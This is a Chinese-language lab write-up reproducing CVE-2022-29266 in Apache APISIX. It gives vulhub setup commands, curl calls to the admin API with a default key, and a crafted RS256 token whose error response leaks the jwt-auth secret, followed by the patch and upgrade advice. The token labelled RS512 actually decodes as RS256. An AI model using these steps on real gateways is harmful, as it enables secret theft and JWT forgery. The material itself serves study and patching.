Apache APISIX信息泄露漏洞（CVE-2022-29266）

目录

漏洞概述

漏洞复现

环境搭建

攻击复现

---

漏洞概述

在2.13.1版本之前的APache APISIX中，攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌来通过错误消息响应获取插件配置的机密。依赖库 lua-resty-jwt 中的错误逻辑允许将 RS256 令牌发送到需要 HS256 令牌的端点，错误响应中包含原始密钥值。

这个漏洞最终造成的风险是 JWT 伪造，但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行，并且如果有细心的读者可能会发现，当我们构造 RS256 算法的 JWT 时，需要先知道目标 APISIX consumer 对象的 key 值，因此这个漏洞利用起来还是有一定限制的。

漏洞复现

环境搭建

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场，APISIX 版本为 2.11.0，因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。

环境搭建命令：

cd vulhub/apisix/CVE-2020-13945
docker-compose up -d

访问 http://your-ip:9080 地址即可

1、需要一个 RS256 算法的 JWT 值，这里为了方便直接在 https://jwt.io/ 中生成，只需要将算法改为 RS256，Payload 改为以下内容即可，注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致

2、接着创建一个 consumer 对象，并设置 jwt-auth 的值，默认是 HS256 算法，secret 值为 teamssix-secret-key

curl http://192.168.xxx.xxx:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "username": "jack", "plugins": { "jwt-auth": { "key": "rs-key", "secret": "teamssix-secret-key" } } }'

3、然后再创建 Route 对象，并开启 jwt-auth 插件

curl http://192.168.xxx.xxx:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "methods": ["GET"], "uri": "/index.html", "plugins": { "jwt-auth": {} }, "upstream": { "type": "roundrobin", "nodes": { "0.0.0.0:80": 1 } } }'

这时其实漏洞环境才算搭好，接下来就可以开始发送 Payload 了。

攻击复现

将最开始由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由，这样就可以获得刚才设置的 secret 值了。

当我们拿到这个 sceret 值后，就可以伪造 JWT Token 了。

那么根据上面的漏洞分析，这里如果使用 RS512 算法应该也能触发这个漏洞，在 jwt.io 上生成 RS512 的 JWT 值如下（值每次都不同）：

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg

4、利用 curl 访问

curl http://192.168.xxx.xxx:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

果然使用 RS512 算法同样可以触发，说明漏洞分析的没毛病。

接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串，会返回什么。

5、重新开一个环境后，创建一个 consumer 对象，这次 secret 设置为 teamssix-CERTIFICATE

curl http://192.168.xxx.xxx:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "username": "jack", "plugins": { "jwt-auth": { "key": "rs-key", "secret": "teamssix-CERTIFICATE" } } }'

6、创建 Route 对象，并开启 jwt-auth 插件

curl http://192.168.xxx.xxx:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' { "methods": ["GET"], "uri": "/index.html", "plugins": { "jwt-auth": {} }, "upstream": { "type": "roundrobin", "nodes": { "0.0.0.0:80": 1 } } }'

 7、触发漏洞

curl http://192.168.xxx.xxx:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

 

可以看到，这里并没有返回刚才设置的 secret 值，而是返回了 not enough data，即 err 的信息，这表明此时 cert 的值已经不为 nil 了，再次证明了上面的分析。

漏洞代码修复

观察 APISIX 的漏洞修复信息，可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改，修复信息地址：https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89

修复方案

升级至 Apache APISIX 2.13.1 及以上版本

安装补丁包，补丁包地址详见：https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266

参考

APISIX CVE-2022-29266 漏洞分析与复现 | TeamsSix

【密钥泄漏】CVE-2022-29266 Apache Apisix jwt插件 - 知乎

CVE-2022-29266 漏洞分析与复现 | T Wiki

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !